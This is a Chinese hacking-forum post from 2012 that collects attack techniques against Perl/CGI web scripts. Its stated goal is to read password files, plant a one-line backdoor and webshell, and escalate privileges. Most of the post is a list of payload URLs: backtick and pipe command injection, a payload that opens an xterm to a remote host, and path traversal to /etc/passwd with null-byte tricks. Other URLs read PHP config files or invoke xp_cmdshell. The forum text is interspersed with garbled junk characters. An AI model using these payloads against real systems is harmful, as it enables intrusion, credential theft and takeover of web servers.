找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2644|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
- A6 L" M$ L( ?% H- w, n1 b1 Ecookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
7 Q( \8 k4 L9 ^( S. O% R感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  * X' e3 a# X* I
注“  
. i) f1 X9 w+ M$ e* X3 Fperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
' ?" w( |9 B+ @$ L* u以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  ' g7 {- P  I$ Y2 F4 k) x, {
$ X. f) T+ a( ^
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
. j# D3 y6 R" ?; D: u. fhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  & C9 N5 K% C$ e- {0 _$ v1 E1 p
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
/ X, U% ^, `" k; }/ Phttp://target.com/cgi-bin/home/news/sub.pl?`id`  " Z1 F& ]* L1 M1 |7 N, p, ]" l
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  3 t+ T: H! m1 Z# M% F! f+ I4 S
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  * Q. U0 F" m" r- Q. U

- y) R7 l+ n7 t9 O  g! s  N" yhttp://target.com/test.pl;ls|  
0 h! @/ \( _3 b) B& |3 ?http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
+ O5 Q3 @8 \/ Y7 y, W  Y  chttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
2 B; J, f1 y: ~0 P" r+ phttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
% A  _# r4 j$ T# F0 {! w比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
2 q8 P2 V5 c1 r* M! ]& I6 y6 e8 Ihttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
, l% Z, n1 m# C% q# D* T9 {
; w  |3 ]; I- |http://target.com/test.pl?&........ /../../etc/passwd  - e7 L' g, e4 t. w- a

! O- `3 E' H: w& X- phttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
3 Y. D7 J/ [# jhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
; J- {8 e" _1 T! y) x" S! Ohttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  ; d1 o/ P' N+ `6 @9 [. j9 }

1 x9 D  b) J9 ohttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
( I! W* O/ q. i+ `! ^http://www.target.org/show.php?f ... ng/admin/global.php  " W3 w$ e+ F( b: V) ~

1 l" z! A" e  g2 V/ o8 b' D1 q$ n% semm和ps的一句话5 d5 p2 C, i! S% \8 l

, H9 ^: D' w2 W- T* O. Z; Uhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  " |3 p3 T7 r% Y/ H# F  w
& z8 V3 P9 {5 x/ y( H! d7 O7 E
>bbb%20|  ' k; d& t/ [& K+ j
8 G4 r. T$ B9 l5 }# U1 c  \2 s
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
" u) `/ X& m+ k& n% A. s# m( x# a; ~! [4 i' C6 A# W- J
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  ! w4 s5 x4 f. ?3 h8 w9 W
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  1 Z3 e  _7 |' M
8 k1 G- O" ~7 g( R: K
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
5 s4 P" m" B) nhttp://target.com/index.html#cmd.exe  5 q0 o4 a2 U5 m8 k
http://target.com/index.html?dummyparam=xp_cmdshell  
( @. b/ n. [7 w2 qlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
5 j4 F! W1 l' j! b6 O: T6 L) R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表